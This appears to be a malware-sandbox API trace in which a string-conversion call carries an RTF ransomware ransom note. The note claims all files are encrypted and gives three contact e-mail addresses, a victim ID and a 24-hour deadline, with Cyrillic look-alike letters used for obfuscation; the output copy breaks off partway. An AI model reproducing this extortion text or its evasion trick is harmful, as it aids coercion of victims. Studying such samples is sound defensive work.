;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt 